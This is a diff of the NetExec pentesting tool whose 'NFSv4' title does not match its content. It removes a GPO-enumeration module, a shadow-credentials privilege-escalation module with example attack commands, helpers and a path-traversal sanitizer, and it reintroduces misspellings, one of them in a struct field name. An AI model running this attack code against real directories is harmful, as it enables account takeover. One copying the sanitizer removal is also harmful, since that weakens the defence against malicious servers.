Draft dynamic NFSv4 version

AGENTS.md

@@ -7,10 +7,15 @@
 
 # Coding style
 
+- Never add a comment or docstring at the top of a Python file unless that file already has a top-of-file comment or docstring.
+- In parenthesized Python import blocks, group multiple imported names on each line instead of placing every name on its own line.
+- Keep function and method call arguments on one line when practical; format object literals for readability.
+- Keep comments short and precise. Use block form for docstrings and other long text.
 - Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
 - Always bind caught exceptions as `e`, not `error` or another name.
 - Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
 - Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
+- If unsure about anything, ask for clarification before proceeding.
 
 # NetExec module structure
 

nxc/cli.py

@@ -32,8 +32,6 @@ def gen_cli_args():
     generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
     generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
     generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
-    generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
-    generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
 
     output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
     output_group = output_parser.add_argument_group("Output Options")

nxc/config.py

@@ -39,12 +39,6 @@ config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
 host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
 check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
 display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
-skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
-exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
-if not isinstance(exclude_hosts, list):
-    nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
-    exit(1)
-
 
 if len(host_info_colors) != 4:
     nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")

nxc/connection.py

@@ -175,7 +175,7 @@ class connection:
         if self.kerberos:
             self.host = self.hostname
 
-        self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
+        self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
 
         try:
             self.proto_flow()
@@ -242,9 +242,9 @@ class connection:
         self.logger.debug("Kicking off proto_flow")
         self.proto_logger()
         if not self.create_conn_obj():
-            self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
+            self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
         else:
-            self.logger.info(f"Successfully created connection object for target '{self.host}'")
+            self.logger.debug("Created connection object")
             self.enum_host_info()
 
             # Construct the output file template using os.path.join for OS compatibility

nxc/data/nxc.conf

@@ -8,8 +8,6 @@ log_mode = False
 host_info_colors = ["green", "red", "yellow", "cyan"]
 check_guest_account = False
 display_dc = True
-skip_self = False
-exclude_hosts = []
 
 [BloodHound]
 bh_enabled = False

nxc/helpers/ldap.py

@@ -1,79 +0,0 @@
-
-from datetime import datetime, timezone
-from impacket.ldap import ldap as ldap_impacket
-from impacket.ldap import ldapasn1 as ldapasn1_impacket
-
-
-def parse_ldap_timestamp(ts):
-    """Convert LDAP generalized time (e.g., '20240603160917.0Z')
-    to a human-readable string
-    """
-    if not ts:
-        return ""
-    try:
-        cleaned = ts.replace(".0Z", "").replace("Z", "")
-        dt = datetime.strptime(cleaned, "%Y%m%d%H%M%S").replace(tzinfo=timezone.utc)
-        return dt.strftime("%Y-%m-%d %H:%M:%S UTC")
-    except (ValueError, TypeError):
-        return ts
-
-
-def query_ldap_gpos(host, domain, username, password, lmhash, nthash, aes_key, kdc_host, kerberos, logger):
-    """Query LDAP for GPO metadata
-    Returns dict of {GUID: {displayName, ...}} or None on failure
-
-    This function is standalone so it can be reused by other modules
-    (e.g., a future list_gpos LDAP module)
-    """
-    base_dn = ",".join(f"DC={part}" for part in domain.split("."))
-    search_filter = "(objectClass=groupPolicyContainer)"
-    attributes = ["cn", "displayName", "gPCFileSysPath", "versionNumber", "whenCreated", "whenChanged"]
-
-    try:
-        ldap_url = f"ldap://{host}"
-        logger.debug(f"Connecting to LDAP at {ldap_url} for GPO metadata")
-        ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=base_dn, dstIp=host)
-
-        if kerberos:
-            ldap_connection.kerberosLogin(username, password, domain, lmhash, nthash, aes_key, kdcHost=kdc_host)
-        else:
-            ldap_connection.login(username, password, domain, lmhash, nthash)
-
-        search_base = f"CN=Policies,CN=System,{base_dn}"
-        logger.debug(f"Searching LDAP: base={search_base}, filter={search_filter}")
-        resp = ldap_connection.search(
-            searchFilter=search_filter,
-            attributes=attributes,
-            searchBase=search_base,
-            sizeLimit=0,
-        )
-
-        gpo_map = {}
-        for entry in resp:
-            if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
-                continue
-
-            attrs = {}
-            for attribute in entry["attributes"]:
-                attr_name = str(attribute["type"])
-                vals = [str(val) for val in attribute["vals"].components]
-                attrs[attr_name] = vals[0] if len(vals) == 1 else vals
-
-            guid = attrs.get("cn", "").upper()
-            if guid:
-                if not guid.startswith("{"):
-                    guid = f"{{{guid}}}"
-                gpo_map[guid] = {
-                    "displayName": attrs.get("displayName", "Unknown"),
-                    "gPCFileSysPath": attrs.get("gPCFileSysPath", ""),
-                    "versionNumber": attrs.get("versionNumber", "0"),
-                    "whenCreated": attrs.get("whenCreated", ""),
-                    "whenChanged": attrs.get("whenChanged", ""),
-                }
-
-        logger.debug(f"LDAP returned {len(gpo_map)} GPOs")
-        return gpo_map
-
-    except Exception as e:
-        logger.debug(f"LDAP GPO query failed: {e}")
-        return None

nxc/helpers/path.py

@@ -1,13 +0,0 @@
-from pathlib import PurePosixPath
-
-
-def sanitize_filename(name: str) -> str:
-    """Strip path traversal components from an SMB filename.
-
-    Follows the pattern from spider_plus.py — filters '..' and '.' from
-    PurePosixPath.parts to prevent directory traversal attacks from
-    malicious SMB servers.
-    """
-    parts = PurePosixPath(name.replace("\\", "/")).parts
-    clean = [p for p in parts if p not in ("..", ".", "/")]
-    return str(PurePosixPath(*clean)) if clean else ""

nxc/helpers/smb.py

@@ -1,102 +0,0 @@
-from impacket.dcerpc.v5 import transport, srvs
-from impacket.dcerpc.v5.dtypes import OWNER_SECURITY_INFORMATION, GROUP_SECURITY_INFORMATION, DACL_SECURITY_INFORMATION
-from impacket.ldap import ldaptypes
-
-from nxc.protocols.ldap.constants import ACCESS_MASK_TO_TEXT_LOOKUP
-
-
-def get_share_security_descriptor(connection, share_name, path, sec_info_flags=None):
-    r"""Get the security descriptor for a file/folder on an SMB share via SRVS RPC.
-
-    Args:
-        connection: An NXC SMB connection object with host, username, password, etc.
-        share_name: The SMB share name (e.g. "SYSVOL").
-        path: The path within the share (e.g. "domain.local\\Policies\\{GUID}").
-        sec_info_flags: Security information flags to request. Defaults to
-            OWNER | GROUP | DACL.
-
-    Returns:
-        An SR_SECURITY_DESCRIPTOR parsed from the raw response.
-    """
-    if sec_info_flags is None:
-        sec_info_flags = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
-
-    rpc_transport = transport.SMBTransport(
-        connection.host,
-        connection.host,
-        filename=r"\srvsvc",
-        smb_connection=connection.conn,
-    )
-
-    rpc_transport.set_credentials(
-        connection.username,
-        connection.password,
-        connection.domain,
-        connection.lmhash,
-        connection.nthash,
-        connection.aesKey,
-    )
-    rpc_transport.set_kerberos(connection.kerberos, connection.kdcHost)
-
-    dce = rpc_transport.get_dce_rpc()
-    dce.connect()
-    dce.bind(srvs.MSRPC_UUID_SRVS)
-
-    # SRVS RPC requires null-terminated strings
-    rpc_share = f"{share_name}\x00"
-    rpc_path = f"\\{path.replace('/', chr(92))}\x00"
-
-    raw = srvs.hNetrpGetFileSecurity(dce, rpc_share, rpc_path, sec_info_flags)
-    dce.disconnect()
-
-    return ldaptypes.SR_SECURITY_DESCRIPTOR(raw)
-
-
-def parse_dacl_aces(sd, sid_resolver=None):
-    """Parse ACEs from a security descriptor's DACL into structured data.
-
-    Args:
-        sd: An SR_SECURITY_DESCRIPTOR (from impacket ldaptypes).
-        sid_resolver: Optional callable that takes a SID string and returns
-            a human-readable name. If None, SID names are left as empty strings.
-
-    Returns:
-        A dict with keys:
-            owner: {"sid": str, "name": str}
-            group: {"sid": str, "name": str}
-            aces: list of {"ace_type": str, "sid": str, "sid_name": str, "permissions": list[str], "raw_mask": int}
-        If there is no DACL, the ``aces`` list will be empty.
-    """
-    owner_sid = sd["OwnerSid"].formatCanonical() if sd["OwnerSid"] else ""
-    group_sid = sd["GroupSid"].formatCanonical() if sd["GroupSid"] else ""
-
-    result = {
-        "owner": {"sid": owner_sid, "name": sid_resolver(owner_sid) if sid_resolver and owner_sid else ""},
-        "group": {"sid": group_sid, "name": sid_resolver(group_sid) if sid_resolver and group_sid else ""},
-        "aces": [],
-    }
-
-    if not sd["Dacl"]:
-        return result
-
-    for i in range(sd["Dacl"]["AceCount"]):
-        ace = sd["Dacl"]["Data"][i]
-        ace_type = ace["TypeName"]
-        access_mask = int(ace["Ace"]["Mask"]["Mask"])
-        sid = ace["Ace"]["Sid"].formatCanonical()
-
-        permissions = [mask_name for mask_value, mask_name in ACCESS_MASK_TO_TEXT_LOOKUP.items() if access_mask & mask_value]
-
-        sid_name = ""
-        if sid_resolver:
-            sid_name = sid_resolver(sid)
-
-        result["aces"].append({
-            "ace_type": ace_type,
-            "sid": sid,
-            "sid_name": sid_name,
-            "permissions": permissions,
-            "raw_mask": access_mask,
-        })
-
-    return result

nxc/modules/coerce_plus.py

@@ -1083,7 +1083,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
 
 class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
     structure = (
-        ("Length", DWORD),
+        ("Lenght", DWORD),
         ("SID", RPC_SID),
         ("Hash", EFS_HASH_BLOB),
         ("Display", LPWSTR),

nxc/modules/efsr_spray.py

@@ -13,7 +13,7 @@ class NXCModule:
         """
         FILE_NAME      Name of the file which will be tried to create and afterwards delete
         SHARE_NAME     If set, ONLY this share will be used
-        EXCLUDED_SHARES List of share names which will not be used, separated by comma
+        EXCLUDED_SHARES List of share names which will not be used, seperated by comma
         """
 
     def on_login(self, context: Context, connection):

nxc/modules/gpos.py

@@ -1,265 +0,0 @@
-import json
-import ntpath
-import re
-import shutil
-from datetime import datetime, timezone
-from pathlib import Path
-from impacket.dcerpc.v5.lsat import DCERPCSessionError
-from nxc.config import process_secret
-from nxc.helpers.misc import CATEGORY
-from nxc.helpers.ldap import parse_ldap_timestamp, query_ldap_gpos
-from nxc.helpers.smb import get_share_security_descriptor, parse_dacl_aces
-from nxc.paths import NXC_PATH
-from nxc.protocols.smb.samrfunc import LSAQuery
-
-GUID_PATTERN = re.compile(r"^\{[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}\}$")
-
-
-class NXCModule:
-    """Module by @Marshall-Hallenbeck
-    Do things with Group Policy Objects (GPOs) in Active Directory
-    """
-
-    name = "gpos"
-    description = "Do things with Group Policy Objects (GPOs) in Active Directory"
-    supported_protocols = ["smb"]
-    category = CATEGORY.ENUMERATION
-
-    def __init__(self):
-        self.context = None
-        self.module_options = None
-        self.gpo_name = None
-        self.fuzzy_search = False
-        self.all_props = False
-        self.download = True
-        self.download_dest = "Retrieved_GPOs"
-        self.list_permissions = False
-
-    def options(self, context, module_options):
-        """
-        NAME        Name of the GPO (default retrieve all GPOs)
-        FUZZY       Fuzzy search for name of GPOs (using wildcards)
-        ALL_PROPS   Retrieve all properties of the GPO (default is name, guid, and sysfile path)
-        DOWNLOAD    Download the GPOs to the local machine (default is True)
-        DEST        Destination folder for downloaded GPOs (default is "Retrieved_GPOs")
-        LIST_PERMISSIONS List permissions for the GPOs (default is False)
-        """
-        self.gpo_name = module_options.get("NAME")
-        self.fuzzy_search = module_options.get("FUZZY", "False").lower() == "true"
-        self.all_props = module_options.get("ALL_PROPS", "False").lower() == "true"
-        self.download = module_options.get("DOWNLOAD", "True").lower() == "true"
-        self.download_dest = module_options.get("DEST", "Retrieved_GPOs")
-        self.list_permissions = module_options.get("LIST_PERMISSIONS", "False").lower() == "true"
-        context.log.debug(f"Module options: {self.gpo_name=}, {self.fuzzy_search=}, {self.all_props=}, {self.download=}, {self.download_dest=}, {self.list_permissions=}")
-
-    def on_login(self, context, connection):
-        gpo_ldap_map = query_ldap_gpos(
-            connection.host,
-            connection.domain,
-            connection.username,
-            connection.password,
-            connection.lmhash,
-            connection.nthash,
-            connection.aesKey,
-            connection.kdcHost,
-            connection.kerberos,
-            context.log,
-        )
-
-        if gpo_ldap_map is not None:
-            context.log.display(f"Queried {len(gpo_ldap_map)} GPOs via LDAP, enumerating SYSVOL via SMB")
-        else:
-            context.log.display("LDAP query failed, falling back to SMB-only (names may show as 'Unknown')")
-
-        policies = connection.conn.listPath("SYSVOL", f"{connection.domain}\\Policies\\*")
-        context.log.debug(f"Found policies path: {connection.domain}\\Policies")
-
-        gpos_found = []
-
-        for item in policies:
-            item_name = item.get_longname()
-            context.log.debug(f"Item: {item}, Item name: {item_name}")
-            if item_name not in [".", ".."] and item.is_directory() and GUID_PATTERN.match(item_name):
-                gpo_guid = item_name
-                gpo_path = ntpath.join(f"{connection.domain}", "Policies", f"{gpo_guid}")
-
-                ldap_data = gpo_ldap_map.get(gpo_guid.upper()) if gpo_ldap_map else None
-                display_name = ldap_data["displayName"] if ldap_data else self.get_gpo_display_name_from_sysvol(context, connection, gpo_path)
-
-                if self.gpo_name:
-                    match = self.gpo_name.lower() in display_name.lower() if self.fuzzy_search else self.gpo_name.lower() == display_name.lower()
-                    if not match:
-                        continue
-
-                gpos_found.append((gpo_guid, gpo_path, display_name, ldap_data))
-
-                context.log.success(f"GPO Found: '{display_name}'")
-                context.log.highlight(f"Display Name: {display_name}")
-                context.log.highlight(f"GUID: {gpo_guid}")
-                context.log.highlight(f"GPO Path: \\\\SYSVOL\\{gpo_path}")
-
-                if self.all_props and ldap_data:
-                    context.log.highlight(f"Version: {ldap_data['versionNumber']}")
-                    context.log.highlight(f"Created: {parse_ldap_timestamp(ldap_data['whenCreated'])}")
-                    context.log.highlight(f"Modified: {parse_ldap_timestamp(ldap_data['whenChanged'])}")
-
-                if self.list_permissions:
-                    self.get_folder_security_info(context, connection, gpo_guid, gpo_path)
-
-                if self.download:
-                    context.log.display(f"Downloading GPO {gpo_guid} from SYSVOL share")
-                    gpo_dest = Path(self.download_dest) / gpo_guid
-                    self.download_gpo(context, connection, gpo_path, gpo_dest, gpo_guid)
-
-        context.log.success(f"GPOs Found: {len(gpos_found)}")
-
-        if gpos_found:
-            self.save_gpo_loot(context, connection, gpos_found)
-
-    def save_gpo_loot(self, context, connection, gpos_found):
-        """Save GPO information to the NXC loot directory in text and JSON format."""
-        loot_dir = Path(NXC_PATH) / "modules" / "gpos" / connection.domain / connection.host
-        loot_dir.mkdir(parents=True, exist_ok=True)
-
-        all_gpos_json = []
-
-        for gpo_guid, gpo_path, display_name, ldap_data in gpos_found:
-            gpo_dir = loot_dir / gpo_guid
-            gpo_dir.mkdir(parents=True, exist_ok=True)
-
-            gpo_info = {
-                "guid": gpo_guid,
-                "displayName": display_name,
-                "sysvolPath": f"\\\\SYSVOL\\{gpo_path}",
-            }
-            if ldap_data:
-                gpo_info["versionNumber"] = ldap_data["versionNumber"]
-                gpo_info["whenCreated"] = parse_ldap_timestamp(ldap_data["whenCreated"])
-                gpo_info["whenChanged"] = parse_ldap_timestamp(ldap_data["whenChanged"])
-                gpo_info["gPCFileSysPath"] = ldap_data["gPCFileSysPath"]
-
-            all_gpos_json.append(gpo_info)
-
-            json_path = gpo_dir / "info.json"
-            with open(json_path, "w") as f:
-                json.dump(gpo_info, f, indent=4)
-
-            txt_path = gpo_dir / "info.txt"
-            with open(txt_path, "w") as f:
-                f.write(f"Display Name: {display_name}\n")
-                f.write(f"GUID: {gpo_guid}\n")
-                f.write(f"SYSVOL Path: \\\\SYSVOL\\{gpo_path}\n")
-                if ldap_data:
-                    f.write(f"Version: {ldap_data['versionNumber']}\n")
-                    f.write(f"Created: {parse_ldap_timestamp(ldap_data['whenCreated'])}\n")
-                    f.write(f"Modified: {parse_ldap_timestamp(ldap_data['whenChanged'])}\n")
-                    f.write(f"gPCFileSysPath: {ldap_data['gPCFileSysPath']}\n")
-
-        all_json_path = loot_dir / "gpos.json"
-        with open(all_json_path, "w") as f:
-            json.dump(all_gpos_json, f, indent=4)
-
-        all_txt_path = loot_dir / "gpos.txt"
-        with open(all_txt_path, "w") as f:
-            f.write(f"GPOs enumerated from {connection.domain} ({connection.host})\n")
-            f.write(f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC')}\n")
-            f.write(f"Total: {len(all_gpos_json)}\n")
-            f.write("=" * 60 + "\n\n")
-            for gpo in all_gpos_json:
-                f.write(f"Display Name: {gpo['displayName']}\n")
-                f.write(f"GUID: {gpo['guid']}\n")
-                f.write(f"SYSVOL Path: {gpo['sysvolPath']}\n")
-                if "versionNumber" in gpo:
-                    f.write(f"Version: {gpo['versionNumber']}\n")
-                    f.write(f"Created: {gpo['whenCreated']}\n")
-                    f.write(f"Modified: {gpo['whenChanged']}\n")
-                f.write("-" * 60 + "\n\n")
-
-        context.log.display(f"GPO info saved to {loot_dir}")
-
-    def get_gpo_display_name_from_sysvol(self, context, connection, gpo_path):
-        """Try to get the display name of a GPO by reading GPT.ini from SYSVOL via SMB"""
-        try:
-            ini_path = f"{gpo_path}\\GPT.ini"
-            context.log.debug(f"GPT.ini path: {ini_path}")
-            ini_content = bytearray()
-
-            def callback(data):
-                ini_content.extend(data)
-
-            connection.conn.getFile("SYSVOL", ini_path, callback)
-            ini_text = ini_content.decode("utf-8", errors="replace")
-
-            for line in ini_text.splitlines():
-                if line.lower().startswith("displayname="):
-                    return line.strip().split("=", 1)[1]
-
-            return "Unknown"
-        except Exception as e:
-            context.log.debug(f"Could not read GPO display name: {e}")
-            return ntpath.basename(gpo_path)
-
-    def download_gpo(self, context, smb_conn, sysvol_path, dest_folder, guid):
-        """Download a GPO from the SYSVOL share using the appropriate method"""
-        context.log.debug(f"Downloading GPO {guid} from {sysvol_path} to {dest_folder}")
-
-        original_share = smb_conn.args.share
-
-        try:
-            smb_conn.args.share = "SYSVOL"
-            smb_conn.download_folder(sysvol_path, dest_folder, recursive=True)
-            context.log.success(f"GPO {guid} downloaded to {dest_folder}")
-        except Exception as e:
-            context.log.fail(f"Error downloading GPO {guid}: {e}")
-            if Path(dest_folder).exists():
-                try:
-                    shutil.rmtree(dest_folder)
-                except Exception as cleanup_error:
-                    context.log.debug(f"Error cleaning up directory: {cleanup_error}")
-
-            context.log.highlight("To manually download this GPO, use the following command:")
-            context.log.highlight(f"nxc smb {smb_conn.host} -u '{smb_conn.username}' -p '{process_secret(smb_conn.password)}' --share SYSVOL --get-folder '{sysvol_path}' '{dest_folder}' --recursive")
-        finally:
-            smb_conn.args.share = original_share
-
-    def get_folder_security_info(self, context, connection, gpo_guid, gpo_path):
-        """Get security information for a GPO folder and analyze permissions."""
-        context.log.debug(f"Getting security info for GPO path: {gpo_path}")
-
-        sd = get_share_security_descriptor(connection, "SYSVOL", gpo_path)
-        context.log.success("Retrieved security information")
-
-        try:
-            lsa_query = LSAQuery(connection=connection, logger=context.log)
-        except Exception as lsa_error:
-            context.log.debug(f"Error creating LSAQuery: {lsa_error}")
-            return
-
-        def resolve_sid(sid):
-            try:
-                return lsa_query.lookup_sids([sid])[0]
-            except DCERPCSessionError as e:
-                context.log.debug(f"Error looking up SID {sid}: {e}")
-                return "Unknown (potentially deleted user)"
-
-        parsed = parse_dacl_aces(sd, sid_resolver=resolve_sid)
-        if not parsed:
-            return
-
-        context.log.highlight(f"Security Descriptor for GPO {gpo_guid}:")
-
-        if parsed["owner"]["sid"]:
-            context.log.highlight(f"  Owner SID: {parsed['owner']['sid']} - {parsed['owner']['name']}")
-        if parsed["group"]["sid"]:
-            context.log.highlight(f"  Group SID: {parsed['group']['sid']} - {parsed['group']['name']}")
-
-        if not parsed["aces"]:
-            context.log.highlight("  No DACL found - no access restrictions")
-            return
-
-        context.log.highlight(f"  DACL: {len(parsed['aces'])} ACEs (Access Control Entries)")
-        for i, ace in enumerate(parsed["aces"]):
-            perm_str = ", ".join(ace["permissions"]) if ace["permissions"] else f"0x{ace['raw_mask']:08x}"
-            context.log.highlight(f"    ACE {i + 1}: {ace['ace_type']}")
-            context.log.highlight(f"         SID: {ace['sid']} - {ace['sid_name']}")
-            context.log.highlight(f"         Permissions: {perm_str}")

nxc/modules/impersonate.py

@@ -101,7 +101,7 @@ class NXCModule:
                     context.log.fail("Invalid token ID submitted")
 
         except Exception as e:
-            context.log.fail(f"Error running command: {e}")
+            context.log.fail(f"Error runing command: {e}")
         finally:
             try:
                 connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")

nxc/modules/ntds-dump-raw.py

@@ -519,10 +519,10 @@ class NXCModule:
         parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
 
         if "$FILE_NAME" in parsed_header:
-            filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
+            filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
             curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
 
-            curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16")
+            curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
 
         if "$DATA" in parsed_header:
             dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])

nxc/modules/remove-mic.py

@@ -2,7 +2,7 @@
 #  Dirk-jan Mollema (@_dirkjan)
 #  dlive (@D1iv3)
 #
-# Reference:
+# Refernece:
 #  - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
 #  - https://github.com/fox-it/cve-2019-1040-scanner
 #  - https://github.com/Dliv3/cve-2019-1040-scanner

nxc/modules/shadow-creds.py

@@ -1,249 +0,0 @@
-import json
-from pathlib import Path
-
-from cryptography.hazmat.primitives.serialization import NoEncryption
-from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
-from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
-from dsinternals.common.data.DNWithBinary import DNWithBinary
-from dsinternals.common.data.hello.KeyCredential import KeyCredential
-from dsinternals.system.DateTime import DateTime
-from dsinternals.system.Guid import Guid
-from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError
-
-from nxc.helpers.misc import CATEGORY
-from nxc.parsers.ldap_results import parse_result_attributes
-from nxc.paths import NXC_PATH
-
-
-class NXCModule:
-    """
-    Made by @NeffIsBack
-    Heavily inspired by the pyWhisker project by Shutdown:
-    https://github.com/ShutdownRepo/pywhisker
-    """
-
-    name = "shadow-creds"
-    description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer"
-    supported_protocols = ["ldap"]
-    category = CATEGORY.PRIVILEGE_ESCALATION
-
-    def options(self, context, module_options):
-        """
-        TARGET      sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$)
-        ACTION      Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials
-        DEVICE_ID   KeyCredential device ID; required for info and remove
-        JSONFILE    JSON backup path; required for revert and optional for backup
-
-        Examples:
-        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list
-        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add
-        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID=<guid>
-        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID=<guid>
-        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear
-        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json
-        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json
-        """
-        self.target = module_options.get("TARGET", "").strip()
-        self.action = module_options.get("ACTION", "list").lower().strip()
-        self.device_id = module_options.get("DEVICE_ID")
-        self.jsonfile = module_options.get("JSONFILE")
-
-        if not self.target:
-            context.log.fail("TARGET is required")
-            return False
-        if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}:
-            context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert")
-            return False
-        if self.action in {"info", "remove"} and not self.device_id:
-            context.log.fail(f"DEVICE_ID is required for ACTION={self.action}")
-            return False
-        if self.action == "revert" and not self.jsonfile:
-            context.log.fail("JSONFILE is required for ACTION=revert")
-            return False
-
-    def on_login(self, context, connection):
-        self.context = context
-        self.connection = connection
-
-        resp = connection.search(
-            searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))",
-            attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"],
-        )
-        resp_parsed = parse_result_attributes(resp)
-        if not resp_parsed:
-            context.log.fail(f"Account '{self.target}' was not found")
-            return
-
-        target_dn = resp_parsed[0]["distinguishedName"]
-        raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", [])
-        raw_values = raw_values if isinstance(raw_values, list) else [raw_values]
-
-        if self.action == "list":
-            self.list(self.parse_credentials(raw_values))
-        elif self.action == "add":
-            self.add(target_dn, "computer" in resp_parsed[0]["objectClass"])
-        elif self.action == "info":
-            self.info(self.parse_credentials(raw_values))
-        elif self.action == "remove":
-            self.remove(target_dn, self.parse_credentials(raw_values))
-        elif self.action == "clear":
-            self.clear(target_dn, raw_values)
-        elif self.action == "backup":
-            self.backup(raw_values)
-        elif self.action == "revert":
-            self.revert(target_dn)
-
-    def parse_credentials(self, raw_values):
-        credentials = []
-        for raw_value in raw_values:
-            try:
-                # AD stores each KeyCredential as a textual DN-Binary value.
-                credentials.append(
-                    (
-                        raw_value,
-                        KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())),
-                    )
-                )
-            except Exception as e:
-                self.context.log.fail(f"Could not parse an existing KeyCredential: {e}")
-        return credentials
-
-    def get_credential(self, credentials):
-        for raw_value, credential in credentials:
-            if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower():
-                return raw_value, credential
-        self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}")
-        return None
-
-    def list(self, credentials):
-        if not credentials:
-            self.context.log.display(f"No KeyCredentials found on {self.target}")
-            return
-
-        self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}")
-        for _, credential in credentials:
-            self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else '<missing>'} | Creation time: {credential.CreationTime}")
-
-    def add(self, target_dn, is_computer):
-        try:
-            certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365)
-            credential = KeyCredential.fromX509Certificate2(
-                certificate=certificate,
-                deviceId=Guid(),
-                owner=target_dn,
-                currentTime=DateTime(),
-                isComputerKey=is_computer,
-            )
-            device_id = credential.DeviceId.toFormatD().lower()
-            ldap_value = credential.toDNWithBinary().toString()
-            output_path = self.write_pfx(certificate, device_id)
-        except Exception as e:
-            self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}")
-            return
-
-        try:
-            # Add one value instead of replacing the complete multi-valued attribute.
-            self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]})
-        except LDAPSessionError as e:
-            self.context.log.fail(f"Failed to add the KeyCredential: {e}")
-            self.context.log.display(f"Generated PFX retained at {output_path}")
-            return
-
-        self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}")
-        self.context.log.highlight(f"PFX: {output_path}")
-
-    def write_pfx(self, certificate, device_id):
-        output_dir = Path(NXC_PATH) / "modules" / "shadow-creds"
-        output_dir.mkdir(parents=True, exist_ok=True)
-        output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx"
-
-        output_path.write_bytes(
-            serialize_key_and_certificates(
-                name=self.target.encode("utf-8"),
-                key=certificate.key.to_cryptography_key(),
-                cert=certificate.certificate.to_cryptography(),
-                cas=None,
-                encryption_algorithm=NoEncryption(),
-            )
-        )
-        return output_path
-
-    def info(self, credentials):
-        result = self.get_credential(credentials)
-        if result is None:
-            return
-
-        _, credential = result
-        self.context.log.success(f"KeyCredential {self.device_id} on {self.target}")
-        for name, value in {
